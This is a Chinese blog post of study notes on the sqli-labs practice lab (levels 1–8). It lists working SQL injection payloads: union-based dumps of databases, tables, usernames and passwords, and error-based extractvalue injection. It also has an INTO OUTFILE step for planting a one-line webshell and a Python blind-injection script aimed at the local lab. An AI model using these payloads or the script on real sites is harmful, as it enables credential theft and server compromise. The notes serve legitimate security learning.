「安全笔记」 sqli-labs 从注入到删库

「安全笔记」 sqli-labs 从注入到删库

资源介绍参数
资源类别: 代码笔记
如遇问题: 联系客服/留言反馈
前言:为了更好的学习,可以在sql语句下面插入这句话。echo "your sql statement is ".$sql."
";这样可以在网页里看到你的sql查询语句。手注基本步骤、引导闭合语句...

前言

为了更好的学习,可以在sql语句下面插入这句话。

  1. echo "your sql statement is ".$sql."<br>";

这样可以在网页里看到你的sql查询语句。

手注基本步骤、引导闭合语句:

  1. or 1=1--+
  2. 'or 1=1--+
  3. "or 1=1--+
  4. )or 1=1--+
  5. ')or 1=1--+
  6. ") or 1=1--+
  7. "))or 1=1--+
  8. --+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
  9. orand判断 判断是否存在注入
  10. or 1=1 不报错 or 1=2 报错
  11. and 1=1 不报错 and 1=2 报错

然后用order by 来判断字段数,可以用对分查找快速排查
最后在显示位上替换要查找的信息即可

Less-1

  1. ?id=1' and 1=1--+ #正常
  2. ?id=1' and 1=2--+ #错误 存在注入
  3. ?id=1' and order by 4--+ #错误
  4. ?id=1' and order by 3--+ #正常 判断有三个字段
  5. ?id=1' union select 1,2,3--+ #找到2,3显示位
  6. ?id=1' union select 1.2,database()--+ #查找当前数据库名称
  7. ?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ #查找所有数据库
  8. ?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #查询数据库下的数据表
  9. ?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查询数据表下的字段
  10. ?id=0%27 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+ #查询password和username字段

Less-2-4

?id=1 (数值型)
?id=1′)
?id=1")

less-5

基于报错的sql注入

  1. ?id=1' and extractvalue(1,concat(0x5c,database()));

详细可以参考这里
从这一关开始,就发现自己菜的真真实实。

「安全笔记」 sqli-labs 从注入到删库

less-6

  1. ?id=1" 报错注入

less-7

导出文件,需要满足几个条件
1.root权限
2.绝对路径
?id=1')) UNION SELECT 1,2,3 into outfile "文件的绝对路径"
可以一条条导入,也可以导入一句话木马菜刀连接

less-8

布尔盲注,常用函数

  1. Length()函数 返回字符串的长度
  2. Substr()截取字符串
  3. Ascii()返回字符的ascii
  4. ?id=1' and length(database())=8--+ //手注要一个个猜解,猜中了返回正常,猜错了不正常。
  5. ?id=1' and ascii(substr(database(),1,1))>97 //通过ascii猜database第一个字符,返回正常就猜一个更大的,然后用对分查找快速排查

附一个py脚本,第一次写脚本,我怎么这么菜=,写的不好,轻喷(而且未完成,未优化)

  1. import requests
  2. import sys
  3. url = "http://localhost/sqli-labs-master/Less-8/?id=1"
  4. chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'
  5. def get_DBname_len():
  6. print("Start to get DBname len....")
  7. DBname_len= 0
  8. global url
  9. url_template = url+"' and length(database())={0}%23"
  10. for i in range(20):
  11. newUrl=url_template.format(i)
  12. res = requests.get(newUrl)
  13. if 'You' in res.text:
  14. DBname_len=i
  15. print("DBName length is: n", DBname_len)
  16. break
  17. return DBname_len
  18. def get_DBname():
  19. print("Start to retrieve database name...")
  20. DBname = ""
  21. url_template = url + "' and ascii(substr(database(),{0},1))={1}%23"
  22. max = get_DBname_len()+1
  23. print("DBName is:")
  24. for i in range(1,max):
  25. for j in chars:
  26. newUrl =url_template.format(i,ord(j))
  27. res = requests.get(newUrl)
  28. if 'You' in res.text:
  29. sys.stdout.write(j)
  30. sys.stdout.flush()
  31. DBname = DBname+j
  32. break
  33. def get_Table_Num():
  34. print("nStart to retrieve database number")
  35. num=0
  36. url_template=url+"' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
  37. for i in range(1,20):
  38. newUrl = url_template.format(i)
  39. res = requests.get(newUrl)
  40. if 'You' in res.text:
  41. num=i
  42. break
  43. print("table number is:",num)
  44. return num
  45. def get_Tables_len():
  46. url_template = url+"' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}%23"
  47. tables_len=[]
  48. for i in range(5):
  49. for j in range(1,20):
  50. newUrl = url_template.format(i,j)
  51. res = requests.get(newUrl)
  52. if 'You' in res.text:
  53. tables_len.append(j)
  54. break
  55. return tables_len
  56. def get_Table_Name():
  57. print("nStart to get Table name")
  58. presentName=''
  59. tables_len=get_Tables_len()
  60. presentNameLen=0
  61. max_num = int(get_Table_Num())+1
  62. url_template= url+"' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2}%23"
  63. for i in range(max_num):
  64. for j in range(20):
  65. for k in chars:
  66. newUrl =url_template.format(i,j,ord(k))
  67. res = requests.get(newUrl)
  68. if 'You' in res.text:
  69. sys.stdout.write(k)
  70. sys.stdout.flush()
  71. presentNameLen+=1
  72. break
  73. if presentNameLen==tables_len[i]:
  74. presentNameLen=0
  75. sys.stdout.write('n')
  76. break
  77. print("End of search",end='')
  78. get_Table_Num()
  79. get_DBname()
  80. get_Table_Name()
声明:本文为原创作品,版权归作者所有。未经许可,不得转载或用于任何商业用途。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
0 条回复 A文章作者 M管理员
欢迎您,新朋友,感谢参与互动!
    暂无讨论,说说你的看法吧